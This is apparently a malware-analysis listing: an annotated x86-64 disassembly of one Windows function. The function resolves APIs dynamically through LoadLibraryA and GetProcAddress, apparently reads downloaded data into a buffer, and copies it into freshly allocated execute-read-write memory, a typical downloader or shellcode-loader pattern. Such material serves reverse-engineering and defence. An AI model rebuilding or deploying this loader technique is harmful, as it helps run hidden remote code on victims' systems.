Function at 0x413c58
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
sub rsp, 0x98
mov qword [rsp + 0x30], 0xfffffffffffffffe
lea rcx, [rsp + 0x38]
call fcn.00403dc4
cmp qword [rax + 0x20], 0x10
jb 0x413c82
mov rcx, qword [rax + 8]
jmp 0x413c86
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x0042b2e8], rax
cmp qword [rsp + 0x58], 0x10
jb 0x413ca5
mov rcx, qword [rsp + 0x40]
call fcn.00415a70
lea rcx, [rsp + 0x60]
call fcn.0040472c
mov rbx, rax
lea rcx, [rsp + 0x38]
call fcn.004024d4
nop
cmp qword [rbx + 0x20], 0x10
jb 0x413cca
mov rbx, qword [rbx + 8]
jmp 0x413cce
add rbx, 8
cmp qword [rax + 0x20], 0x10
jb 0x413cdb
mov rdx, qword [rax + 8]
jmp 0x413cdf
lea rdx, [rax + 8]
mov rcx, qword [0x0042b2e8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
mov rcx, rbx
call rax
mov qword [0x0042b2f8], rax
cmp qword [rsp + 0x58], 0x10
jb 0x413d1c
mov rcx, qword [rsp + 0x40]
call fcn.00415a70
mov ebp, 0xf
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x40], 0
cmp qword [rsp + 0x80], 0x10
jb 0x413d49
mov rcx, qword [rsp + 0x68]
call fcn.00415a70
lea rcx, [rsp + 0x60]
call fcn.00404df4
mov rbx, rax
lea rcx, [rsp + 0x38]
call fcn.00402ffc
nop
cmp qword [rbx + 0x20], 0x10
jb 0x413d6e
mov rbx, qword [rbx + 8]
jmp 0x413d72
add rbx, 8
cmp qword [rax + 0x20], 0x10
jb 0x413d7f
mov rdx, qword [rax + 8]
jmp 0x413d83
lea rdx, [rax + 8]
mov rcx, qword [0x0042b2e8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [0x0042b2f8]
call rax
mov qword [0x0042b2f0], rax
cmp qword [rsp + 0x58], 0x10
jb 0x413dcc
mov rcx, qword [rsp + 0x40]
call fcn.00415a70
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x40], 0
cmp qword [rsp + 0x80], 0x10
jb 0x413df4
mov rcx, qword [rsp + 0x68]
call fcn.00415a70
mov dword [0x0042b3e4], 4
lea rcx, [rsp + 0x60]
call fcn.00406e70
nop
cmp qword [rax + 0x20], 0x10
jb 0x413e16
mov rdx, qword [rax + 8]
jmp 0x413e1a
lea rdx, [rax + 8]
mov rcx, qword [0x0042b2e8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], 0
lea r9, [0x0042b3e4]
lea r8, [0x0042b3e0]
mov edx, 0x20000005
mov rcx, qword [0x0042b2f0]
call rax
nop
cmp qword [rsp + 0x80], 0x10
jb 0x413e62
mov rcx, qword [rsp + 0x68]
call fcn.00415a70
mov ecx, dword [0x0042b3e0]
call fcn.004159a0
mov qword [0x0042b3d8], rax
lea rcx, [rsp + 0x60]
call fcn.00407a78
nop
cmp qword [rax + 0x20], 0x10
jb 0x413e8c
mov rdx, qword [rax + 8]
jmp 0x413e90
lea rdx, [rax + 8]
mov rcx, qword [0x0042b2e8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [0x0042b3e8]
mov r8d, dword [0x0042b3e0]
mov rdx, qword [0x0042b3d8]
mov rcx, qword [0x0042b2f0]
call rax
nop
cmp qword [rsp + 0x80], 0x10
jb 0x413ed1
mov rcx, qword [rsp + 0x68]
call fcn.00415a70
lea rcx, [rsp + 0x38]
call fcn.00401a8c
nop
cmp qword [rax + 0x20], 0x10
jb 0x413ee9
mov rdx, qword [rax + 8]
jmp 0x413eed
lea rdx, [rax + 8]
mov ebx, dword [0x0042b3e0]
mov rcx, qword [0x0042b210]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbx
xor ecx, ecx
call rax
mov qword [0x0042b300], rax
cmp qword [rsp + 0x58], 0x10
jb 0x413f33
mov rcx, qword [rsp + 0x40]
call fcn.00415a70
mov rax, qword [0x0042b300]
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x40], 0
mov r8d, dword [0x0042b3e0]
mov rdx, qword [0x0042b3d8]
mov rcx, rax
call fcn.004153a0
add rsp, 0x98
pop rbp
pop rbx
ret